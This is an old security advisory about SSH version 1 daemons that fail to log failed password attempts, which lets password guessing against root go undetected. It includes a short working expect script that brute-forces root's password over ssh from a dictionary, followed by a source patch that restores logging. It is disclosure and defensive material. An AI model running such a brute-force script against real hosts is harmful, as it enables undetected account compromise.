COMMAND

    sshd

SYSTEMS AFFECTED

    At least ssh-1.2.27 and 1.2.30

PROBLEM

    Jose  Nazario   (Crimelabs  Security   Note  CLABS200101)    found
    following.  There exists a very simple, but potentially  damaging,
    vulnerability in  the SSH  version 1  daemon related  to the brute
    forcing of passwords in accounts.  By default the daemon does  not
    log up to four unsuccessful  attempts at guessing a password  or a
    username/password  combination.   This  allows  for the undetected
    brute forcing of passwords  or account/password combinations.   An
    exploit is included.   A source code  patch to ssh-1.2.30  is also
    included.

    This is  unrelated to,  but similar  to, the  problem noted by the
    J.J.F./Hackers Team which noted the  failure of the ssh version  2
    daemon to  not log  IP addresses  upon connections,  leading to an
    untracable brute force attack.

    Depending on the rules  in place at the  site, if root logins  are
    allowed  (and  they  are  by  default)  this  could lead to a root
    account  compromise  if  given  enough  time  or  a  good   enough
    dictionary in relation to the password.

    While  this  can  readily  be  done  for  other  login  protocols,
    including  telnet,  ftp,  and  the  like, they log failed password
    attempts, unlike sshd.  As such, it becomes possible to hide one's
    intentions as an attempt is made  to brute force accounts.  It  is
    for this reason that we mark the risk factor as "Medium to High".

    Crimelabs dissuades  allowing ssh  root logins  for many  reasons,
    including this one.   The main argument  against it is  a lack  of
    accounting on the system, which would be facilitated by 'su' logs.
    Additional  reasons  include  bypassing  the limitations placed on
    users by 'su' locally,  and conformance to traditional  UNIX login
    standards for telnet and rlogin, which disallow root logins.

    Examination of the  code reveals this  occurs because the  message
    that would otherwise  log this message  is wrapped around  a debug
    routine:

        (file sshd.c from sources 1.2.30, one example)
        
        2673- {
        2674-   /* Log failures if attempted more than once. */
        2675:   debug("Password authentication failed for user %.100s from %.100s.",
        2676-         user, get_canonical_hostname());
        2677-  }

    Using  the  expect  language,  we  can  work  our  way  through  a
    dictionary of  potential passwords  for the  root account  via the
    sshd version 1 without detection of our true activities.

    #!/usr/bin/expect -f
    #
    # simple expect exploit to brute force root's password via ssh without
    # detection.. see CLABS200101 for info on this exploit.
    #
    # this is beerware, just buy me a beer at defcon if you like this.
    # build your own dictionary, use at your own risk, no warranty, etc.
    #
    # jose@crimelabs.net		january, 2001
    #
    set timeout 3
    set target [lindex $argv 0]
    set dictionary [lindex $argv 1]
    
    if {[llength $argv] !=  2} {
       puts stderr "Usage: $argv0 root@target dictionary\n"
       exit }
    
    set tryPass [open $dictionary r]
    
    foreach passwd [split [read $tryPass] "\n"] {
      spawn ssh $target
      expect ":"
      send "$passwd\n"
      expect "#" { puts "password is $passwd\n" ; exit }
      set id [exp_pid]
      exec kill -INT $id
    }

SOLUTION

    The following patch should be  applied to sshd.c (this is  for the
    1.2.30 sources), the daemon rebuilt and reinstalled.  Better  yet,
    upgrade to OpenSSH.  Thanks to everyone on the OpenSSH team for  a
    better product.

    The  following  patch  against  ssh-1.2.30  code fixes the logging
    issue for password  authentication, RSA authentication,  RhostsRSA
    authentication,  and  TIS  authentication.   Kerberos4  appears to
    still  not  be  logged  as  a  failed password authentication, but
    Kerberos5  does.   Not  having  a  Kerberos infrastructure to test
    this on, we are unable evaluate this portion of the code.

    $ diff -Naur ssh-1.2.30/sshd.c.orig ssh-1.2.30/sshd.c
    --- ssh-1.2.30/sshd.c.orig      Wed Jan 31 12:11:08 2001
    +++ ssh-1.2.30/sshd.c   Wed Jan 31 12:57:36 2001
    @@ -2408,7 +2408,7 @@
                   remote_user_name = client_user;
                   break;
                 }
    -          debug("Rhosts authentication failed for '%.100s', remote '%.100s', host '%.200s'.",
    +          log_msg("Rhosts authentication failed for '%.100s', remote '%.100s', host '%.200s'.",
                     user, client_user, get_canonical_hostname());
               xfree(client_user);
               break;
    @@ -2469,7 +2469,7 @@
                   mpz_clear(&client_host_key_n);
                   break;
                 }
    -          debug("RhostsRSA authentication failed for '%.100s', remote '%.100s', host '%.200s'.",
    +          log_msg("RhostsRSA authentication failed for '%.100s', remote '%.100s', host '%.200s'.",
                     user, client_user, get_canonical_hostname());
               xfree(client_user);
               mpz_clear(&client_host_key_e);
    @@ -2500,7 +2500,7 @@
                     break;
                   }
                 mpz_clear(&n);
    -            debug("RSA authentication for %.100s failed.", user);
    +            log_msg("RSA authentication for %.100s failed.", user);
               }
               break;
    
    @@ -2633,7 +2633,7 @@
                   authenticated = 1;
                   break;
                 } else {
    -              debug("TIS authentication for %.100s failed",user);
    +              log_msg("TIS authentication for %.100s failed",user);
                   memset(password, 0, strlen(password));
                   xfree(password);
                   break;
    @@ -2672,7 +2672,7 @@
               if (password_attempts > 0)
                 {
                   /* Log failures if attempted more than once. */
    -              debug("Password authentication failed for user %.100s from %.100s.",
    +              log_msg("Password authentication failed for user %.100s from %.100s.",
    
                         user, get_canonical_hostname());
                 }
               password_attempts++;
    @@ -2693,7 +2693,7 @@
                   authenticated = 1;
                   break;
                 }
    -          debug("Password authentication for %.100s failed.", user);
    +          log_msg("Password authentication for %.100s failed.", user);
               memset(password, 0, strlen(password));
               xfree(password);
               break;